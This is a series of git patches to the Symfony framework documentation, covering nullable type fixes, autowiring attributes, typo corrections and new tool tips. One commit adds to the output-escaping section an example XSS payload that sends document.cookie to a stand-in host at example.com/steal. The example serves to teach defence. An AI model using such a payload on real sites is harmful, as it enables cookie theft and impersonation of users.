+++ b/validation/custom_constraint.rst
@@ -320,9 +320,9 @@ define those options as public properties on the constraint class:
 
             public function __construct(
                 $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
+                ?string $message = null,
+                ?bool $optionalBarOption = null,
+                ?array $groups = null,
                 $payload = null,
                 array $options = []
             ) {

From 26f992de81ad13673f7a812dd40d8e1d6450aafe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Apr 2024 12:08:54 +0200
Subject: [PATCH 4667/5766] -

---
 validation/custom_constraint.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0f7016d9653..4dacb0c9504 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -265,12 +265,12 @@ define those options as public properties on the constraint class::
             $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
         }
 
-        public function getDefaultOption()
+        public function getDefaultOption(): string
         {
             return 'mandatoryFooOption';
         }
 
-        public function getRequiredOptions()
+        public function getRequiredOptions(): array
         {
             return ['mandatoryFooOption'];
         }

From 4981d1370bfb0677739475de850c000d952eb674 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Wed, 17 Apr 2024 12:18:21 +0200
Subject: [PATCH 4668/5766] [CS] Fix explicit nullable types

---
 create_framework/separation_of_concerns.rst | 2 +-
 create_framework/templating.rst             | 2 +-
 reference/dic_tags.rst                      | 2 +-
 reference/forms/types/enum.rst              | 2 +-
 serializer/custom_context_builders.rst      | 4 ++--
 validation/custom_constraint.rst            | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index e0937fbdf45..5238b3aac42 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -120,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too::
 
     class LeapYear
     {
-        public function isLeapYear(int $year = null): bool
+        public function isLeapYear(?int $year = null): bool
         {
             if (null === $year) {
                 $year = date('Y');
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 07d7e38417c..282e75cbc94 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -146,7 +146,7 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year(int $year = null): bool
+    function is_leap_year(?int $year = null): bool
     {
         if (null === $year) {
             $year = (int)date('Y');
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 354e9cb0b4b..cf908c4dd24 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp(string $cacheDir, string $buildDir = null): array
+        public function warmUp(string $cacheDir, ?string $buildDir = null): array
         {
             // ... do some sort of operations to "warm" your cache
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 1a2afbe470c..7a49128f28c 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -66,7 +66,7 @@ implement ``TranslatableInterface`` to translate or display custom labels::
         case Center = 'Center aligned';
         case Right = 'Right aligned';
 
-        public function trans(TranslatorInterface $translator, string $locale = null): string
+        public function trans(TranslatorInterface $translator, ?string $locale = null): string
         {
             // Translate enum from name (Left, Center or Right)
             return $translator->trans($this->name, locale: $locale);
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index b40e432286d..31fba6c90f5 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -33,7 +33,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
     {
         use DenormalizerAwareTrait;
 
-        public function denormalize($data, string $type, string $format = null, array $context = []): mixed
+        public function denormalize($data, string $type, ?string $format = null, array $context = []): mixed
         {
             if ('0000-00-00' === $data) {
                 return null;
@@ -44,7 +44,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
             return $this->denormalizer->denormalize($data, $type, $format, $context);
         }
 
-        public function supportsDenormalization($data, string $type, string $format = null, array $context = []): bool
+        public function supportsDenormalization($data, string $type, ?string $format = null, array $context = []): bool
         {
             return true === ($context['zero_datetime_to_null'] ?? false)
                 && is_a($type, \DateTimeInterface::class, true);
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 4dacb0c9504..9d3fb920d6d 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -59,7 +59,7 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         #[HasNamedArguments]
         public function __construct(
             public string $mode,
-            array $groups = null,
+            ?array $groups = null,
             mixed $payload = null,
         ) {
             parent::__construct([], $groups, $payload);

From e05c5b15a1e7f717a05e592b7d162c617706056e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Apr 2024 12:25:20 +0200
Subject: [PATCH 4669/5766] -

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 1352f03475a..2925e769bdf 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -635,11 +635,11 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
             // expressions
             #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')]
-            string $mailerMethod
+            string $mailerMethod,
 
             // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
-            string $senderName
+            string $senderName,
         ) {
         }
         // ...

From face90624b744d1f0671cc030b60df25bfe43192 Mon Sep 17 00:00:00 2001
From: Antonio de la Vega <antonio.v.j95@gmail.com>
Date: Tue, 16 Apr 2024 18:15:28 +0200
Subject: [PATCH 4670/5766] Add ENV processor example

---
 service_container/autowiring.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 2925e769bdf..a27bf088d5b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -614,7 +614,8 @@ logic about those arguments::
 
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
 :doc:`complex expressions </service_container/expression_language>` and even
-:ref:`environment variables <config-env-vars>`::
+:ref:`environment variables <config-env-vars>` ,
+:doc:`including env variable processors </configuration/env_var_processors>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -640,6 +641,10 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
             // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
             string $senderName,
+
+            // environment variables with processors
+            #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')]
+            string $allowAttachments,
         ) {
         }
         // ...

From 51a8bb9ba23afc78b121a2b1028dff7e8e9baab0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Apr 2024 12:27:31 +0200
Subject: [PATCH 4671/5766] -

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a27bf088d5b..f570670a7dc 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -644,7 +644,7 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
             // environment variables with processors
             #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')]
-            string $allowAttachments,
+            bool $allowAttachments,
         ) {
         }
         // ...

From be50a3c6688a941325699568dad333e39accc669 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Wed, 17 Apr 2024 12:29:10 +0200
Subject: [PATCH 4672/5766] Fix Explicite nullable types (7.0)

---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index ee3a6c50191..0dfa5212217 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1082,10 +1082,10 @@ Mailer Assertions
 Notifier Assertions
 ...................
 
-``assertNotificationCount(int $count, string $transportName = null, string $message = '')``
+``assertNotificationCount(int $count, ?string $transportName = null, string $message = '')``
     Asserts that the given number of notifications has been created
     (in total or for the given transport).
-``assertQueuedNotificationCount(int $count, string $transportName = null, string $message = '')``
+``assertQueuedNotificationCount(int $count, ?string $transportName = null, string $message = '')``
     Asserts that the given number of notifications are queued
     (in total or for the given transport).
 ``assertNotificationIsQueued(MessageEvent $event, string $message = '')``
@@ -1113,7 +1113,7 @@ HttpClient Assertions
     For all the following assertions, ``$client->enableProfiler()`` must be
     called before the code that will trigger HTTP request(s).
 
-``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
+``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array|null $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
     Asserts that the given URL has been called using, if specified,
     the given method body and headers. By default it will check on the HttpClient,
     but you can also pass a specific HttpClient ID.

From 02e88f179210f542eed3830f1f961b2cf28ee116 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 17 Apr 2024 13:31:21 +0200
Subject: [PATCH 4673/5766] Update _php7-string-and-number.rst.inc

---
 reference/constraints/_php7-string-and-number.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc
index 6da43da6378..3d19f2eb0d3 100644
--- a/reference/constraints/_php7-string-and-number.rst.inc
+++ b/reference/constraints/_php7-string-and-number.rst.inc
@@ -3,4 +3,4 @@
     When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator
     will not trigger an error. In this case, you must also use the
     :doc:`Type constraint </reference/constraints/Type>` with
-    ``numeric``, ``integer`, etc. to reject strings.
+    ``numeric``, ``integer``, etc. to reject strings.

From f7225d9ef76dcc592dd124d373e3e08eb301ed48 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Apr 2024 16:09:45 +0200
Subject: [PATCH 4674/5766] fix typo

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index d18ac21b10a..008d9161fd7 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -389,7 +389,7 @@ Symfony provides utilities to translate emojis into their textual representation
 in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>`
 to learn more about this feature.
 
-Disk space
+Disk Space
 ----------
 
 If you need to save disk space (e.g. because you deploy to some service with tight size

From b6ce981a8fa43d59b4192dfdc76bbf80bf8ba329 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Apr 2024 17:37:53 +0200
Subject: [PATCH 4675/5766] Add a better example of the dangers of XSS attacks

---
 reference/configuration/framework.rst |  2 +-
 reference/configuration/twig.rst      |  7 +++----
 templates.rst                         | 24 ++++++++++++++++--------
 3 files changed, 20 insertions(+), 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 25edfe52910..83cece55ec5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1825,7 +1825,7 @@ cookie_httponly
 This determines whether cookies should only be accessible through the HTTP
 protocol. This means that the cookie won't be accessible by scripting
 languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through XSS attacks.
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
 gc_divisor
 ..........
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 75a3b7ddf42..f0e8bd31454 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -44,9 +44,9 @@ individually in the templates).
 .. danger::
 
     Setting this option to ``false`` is dangerous and it will make your
-    application vulnerable to `XSS attacks`_ because most third-party bundles
-    assume that auto-escaping is enabled and they don't escape contents
-    themselves.
+    application vulnerable to :ref:`XSS attacks <xss-attacks>` because most
+    third-party bundles assume that auto-escaping is enabled and they don't
+    escape contents themselves.
 
 If set to a string, the template contents are escaped using the strategy with
 that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
@@ -345,4 +345,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
-.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
diff --git a/templates.rst b/templates.rst
index a46a211692c..7dd7a758fae 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
 Read the `Twig template inheritance`_ docs to learn more about how to reuse
 parent block contents when overriding templates and other advanced features.
 
-Output Escaping
----------------
+.. _output-escaping:
+.. _xss-attacks:
+
+Output Escaping and XSS Attacks
+-------------------------------
 
 Imagine that your template includes the ``Hello {{ name }}`` code to display the
-user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
-their name and you output that value unchanged, the application will display a
-JavaScript popup window.
+user name and a malicious user sets the following as their name:
+
+.. code-block:: html
+
+    My Name
+    <script type="text/javascript">
+        document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
+    </script>
 
-This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
-example seems harmless, the attacker could write more advanced JavaScript code
-to perform malicious actions.
+You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
+so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
+or XSS attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

From 0b3b5695f8f6f9e94d37d59a2ac58f600ae35913 Mon Sep 17 00:00:00 2001
From: Chris Smith <chris.smith@widerplan.com>
Date: Fri, 19 Apr 2024 17:41:45 +0100
Subject: [PATCH 4676/5766] Add reference to undocumented configuration option

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 25edfe52910..b3c72d44c67 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1602,7 +1602,7 @@ To see a list of all available storages, run:
 
 .. versionadded:: 5.3
 
-    The ``storage_factory_id`` option was introduced in Symfony 5.3.
+    The ``storage_factory_id`` option was introduced in Symfony 5.3 deprecating the ``storage_id`` option.
 
 .. _config-framework-session-handler-id:
 

From 2fb1ada6d841d6c14ae3188736f9fa49b449f646 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 14 Apr 2024 08:54:41 +0200
Subject: [PATCH 4677/5766] [DependencyInjection] Clarify the `#[Target]`
 attribute

---
 service_container/autowiring.rst | 40 +++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d75d34443ca..979c798c8b8 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -320,8 +320,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
 
             App\Util\Rot13Transformer: ~
 
-            # the ``App\Util\Rot13Transformer`` service will be injected when
-            # an ``App\Util\TransformerInterface`` type-hint is detected
+            # the App\Util\Rot13Transformer service will be injected when
+            # an App\Util\TransformerInterface type-hint is detected
             App\Util\TransformerInterface: '@App\Util\Rot13Transformer'
 
     .. code-block:: xml
@@ -428,7 +428,7 @@ type hinted, but use the ``UppercaseTransformer`` implementation in some
 specific cases. To do so, you can create a normal alias from the
 ``TransformerInterface`` interface to ``Rot13Transformer``, and then
 create a *named autowiring alias* from a special string containing the
-interface followed by a variable name matching the one you use when doing
+interface followed by an argument name matching the one you use when doing
 the injection::
 
     // src/Service/MastodonClient.php
@@ -464,13 +464,13 @@ the injection::
             App\Util\Rot13Transformer: ~
             App\Util\UppercaseTransformer: ~
 
-            # the ``App\Util\UppercaseTransformer`` service will be
-            # injected when an ``App\Util\TransformerInterface``
-            # type-hint for a ``$shoutyTransformer`` argument is detected.
+            # the App\Util\UppercaseTransformer service will be
+            # injected when an App\Util\TransformerInterface
+            # type-hint for a $shoutyTransformer argument is detected
             App\Util\TransformerInterface $shoutyTransformer: '@App\Util\UppercaseTransformer'
 
             # If the argument used for injection does not match, but the
-            # type-hint still matches, the ``App\Util\Rot13Transformer``
+            # type-hint still matches, the App\Util\Rot13Transformer
             # service will be injected.
             App\Util\TransformerInterface: '@App\Util\Rot13Transformer'
 
@@ -527,7 +527,7 @@ the injection::
 
             // the App\Util\UppercaseTransformer service will be
             // injected when an App\Util\TransformerInterface
-            // type-hint for a $shoutyTransformer argument is detected.
+            // type-hint for a $shoutyTransformer argument is detected
             $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class);
 
             // If the argument used for injection does not match, but the
@@ -555,13 +555,17 @@ under the arguments key.
 
 Another possibility is to use the ``#[Target]`` attribute. By using this attribute
 on the argument you want to autowire, you can define exactly which service to inject
-by using its alias. Thanks to this, you're able to have multiple services implementing
-the same interface and keep the argument name decorrelated of any implementation name
-(like shown in the example above).
+by passing the name of the argument used in the named alias. Thanks to this, you're able
+to have multiple services implementing the same interface and keep the argument name
+decorrelated of any implementation name (like shown in the example above).
 
-Let's say you defined the ``app.uppercase_transformer`` alias for the
-``App\Util\UppercaseTransformer`` service. You would be able to use the ``#[Target]``
-attribute like this::
+.. warning::
+
+    The ``#[Target]`` attribute only accepts the name of the argument used in the named
+    alias, it **does not** accept service ids or service aliases.
+
+Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
+the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
 
     // src/Service/MastodonClient.php
     namespace App\Service;
@@ -573,12 +577,16 @@ attribute like this::
     {
         private $transformer;
 
-        public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer)
-        {
+        public function __construct(
+            #[Target('shoutyTransformer')] TransformerInterface $transformer,
+        ) {
             $this->transformer = $transformer;
         }
     }
 
+Since the ``#[Target]`` attribute normalizes the string passed to it to its camelCased form,
+name variations such as ``shouty.transformer`` also work.
+
 .. note::
 
     Some IDEs will show an error when using ``#[Target]`` as in the previous example:

From 6ae48a88672d49b781535a02f73ad971d4ca87b7 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Sun, 21 Apr 2024 04:11:06 -0400
Subject: [PATCH 4678/5766] [security] `make:security:custom`

Since MakerBundle `v1.59.0` - you can call `make:security:custom` to generate a simple, no-frills, custom authenticator based off the example in the docs.
---
 security/custom_authenticator.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index c57a2d84c23..3ec158d4e76 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -5,7 +5,8 @@ Symfony comes with :ref:`many authenticators <security-authenticators>` and
 third party bundles also implement more complex cases like JWT and oAuth
 2.0. However, sometimes you need to implement a custom authentication
 mechanism that doesn't exist yet or you need to customize one. In such
-cases, you must create and use your own authenticator.
+cases, you can use the ``make:security:custom`` command to create your own
+authenticator.
 
 Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.

From bf7aca178e472ff49887e8555ebca1c676bb5f6a Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Sun, 21 Apr 2024 04:46:10 -0400
Subject: [PATCH 4679/5766] [webhook] show `make:webhook`

---
 webhook.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/webhook.rst b/webhook.rst
index a621587084c..f931a3601ce 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -16,6 +16,11 @@ Installation
 
     $ composer require symfony/webhook
 
+.. tip::
+
+    Since MakerBundle ``v1.58.0`` - you can run ``php bin/console make:webhook``
+    to generate the files needed to use the Webhook component.
+
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 

From e98c6f14159186418ba2320450a25a2d4fbde33b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 22 Apr 2024 11:00:22 +0200
Subject: [PATCH 4680/5766] [Process] Mention `Process::setIgnoredSignals`

---
 components/process.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index c4db5c18a9c..9502665dde1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -511,6 +511,20 @@ When running a program asynchronously, you can send it POSIX signals with the
     // will send a SIGKILL to the process
     $process->signal(SIGKILL);
 
+You can make the process ignore signals by using the
+:method:`Symfony\\Component\\Process\\Process::setIgnoredSignals`
+method. The given signals won't be propagated to the child process::
+
+    use Symfony\Component\Process\Process;
+
+    $process = new Process(['find', '/', '-name', 'rabbit']);
+    $process->setIgnoredSignals([SIGKILL, SIGUSR1]);
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Process\\Process::setIgnoredSignals`
+    method was introduced in Symfony 7.1.
+
 Process Pid
 -----------
 

From 6e19233cf00ff3ae35c781dfdac0726faf159e75 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Mon, 22 Apr 2024 19:21:13 +0200
Subject: [PATCH 4681/5766] [DependencyInjection] Add `#[AutowireMethodOf]`
 attribute

Co-Authored-By: Oskar Stark <oskarstark@googlemail.com>
---
 reference/attributes.rst         |  1 +
 service_container/autowiring.rst | 30 ++++++++++++++++++++++++++++++
 2 files changed, 31 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 015b8751834..a1e8532c347 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -35,6 +35,7 @@ Dependency Injection
 * :doc:`AutowireDecorated </service_container/service_decoration>`
 * :doc:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
+* :ref:`AutowireMethodOf <autowiring_closures>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`Lazy <lazy-services_configuration>`
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 3c7a2eba52b..8b2b1c4d51d 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -737,6 +737,36 @@ attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
+:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+provides a simpler way of specifying the name of the service method by using
+the property name as method name::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireMethodOf;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireMethodOf('third_party.remote_message_formatter')]
+            private \Closure $format,
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->format)($message);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 7.1
+
+    :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+    was introduced in Symfony 7.1.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)

From 076ea3d11f16fc27230648dd07cf5de88434cc74 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:35:49 +0200
Subject: [PATCH 4682/5766] -

---
 service_container/autowiring.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f570670a7dc..d2d97e0fa3d 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -565,7 +565,7 @@ attribute like this::
     {
         public function __construct(
             #[Target('app.uppercase_transformer')]
-            private TransformerInterface $transformer
+            private TransformerInterface $transformer,
         ){
         }
     }
@@ -602,7 +602,8 @@ logic about those arguments::
     class MessageGenerator
     {
         public function __construct(
-            #[Autowire(service: 'monolog.logger.request')] LoggerInterface $logger
+            #[Autowire(service: 'monolog.logger.request')]
+            private LoggerInterface $logger,
         ) {
             // ...
         }
@@ -697,7 +698,7 @@ attribute::
     {
         public function __construct(
             #[AutowireServiceClosure('third_party.remote_message_formatter')]
-            private \Closure $messageFormatterResolver
+            private \Closure $messageFormatterResolver,
         ) {
         }
 
@@ -732,7 +733,7 @@ create extra instances of a non-shared service::
     {
         public function __construct(
             #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
-            private \Closure $formatCallable
+            private \Closure $formatCallable,
         ) {
         }
 

From c7c9182ec30c39536203d1a7953b36a81bb1e7ce Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:37:33 +0200
Subject: [PATCH 4683/5766] -

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f3a32c01ea0..594e5f584f8 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -765,8 +765,8 @@ the property name as method name::
 
 .. versionadded:: 7.1
 
-    :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
-    was introduced in Symfony 7.1.
+    The :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+    attribute was introduced in Symfony 7.1.
 
 .. _autowiring-calls:
 

From 3c52174842b972fb9979d8fb4ec538ce12be6ffa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:39:28 +0200
Subject: [PATCH 4684/5766] -

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d2d97e0fa3d..783808d9a97 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -717,7 +717,7 @@ attribute::
 
 It is common that a service accepts a closure with a specific signature.
 In this case, you can use the
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` attribute
 to generate a closure with the same signature as a specific method of a service. When
 this closure is called, it will pass all its arguments to the underlying service
 function.  If the closure needs to be called more than once, the service instance
@@ -746,7 +746,7 @@ create extra instances of a non-shared service::
     }
 
 Finally, you can pass the ``lazy: true`` option to the
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable`
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
 attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.

From 20759594a59d907a06c0489f21ea300cf67ec4a8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 22 Apr 2024 20:40:25 +0200
Subject: [PATCH 4685/5766] -

---
 service_container/autowiring.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f89cfdbdc32..8ccde353fe9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -738,9 +738,9 @@ attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
-:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
-provides a simpler way of specifying the name of the service method by using
-the property name as method name::
+The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireMethodOf`
+attribute provides a simpler way of specifying the name of the service method
+by using the property name as method name::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;

From f3304d8be67b41addf7bfeb099595674673a2b4b Mon Sep 17 00:00:00 2001
From: marcagrio <80474750+marcagrio@users.noreply.github.com>
Date: Wed, 10 Apr 2024 09:50:25 +0200
Subject: [PATCH 4686/5766] Update session.rst

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 549bf63d912..08e1745d13c 100644
--- a/session.rst
+++ b/session.rst
@@ -176,7 +176,7 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
         $flashes->add('error', 'Another error');
 
 After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``notice`` in this example) can be anything:
+and then redirects. The message key (``warning`` and ``error`` in this example) can be anything:
 you'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),

From 43355162a8cce5c794299e6d359a8a436929c067 Mon Sep 17 00:00:00 2001
From: Rene Lima <renedelima@gmail.com>
Date: Fri, 19 Apr 2024 20:28:09 +0200
Subject: [PATCH 4687/5766] Add documentation for #[MapUploadedFile] attribute

---
 controller.rst           | 93 ++++++++++++++++++++++++++++++++++++++++
 reference/attributes.rst |  1 +
 2 files changed, 94 insertions(+)

diff --git a/controller.rst b/controller.rst
index 90277e07b76..f0cac7b2350 100644
--- a/controller.rst
+++ b/controller.rst
@@ -587,6 +587,99 @@ using the ``type`` option of the attribute::
 
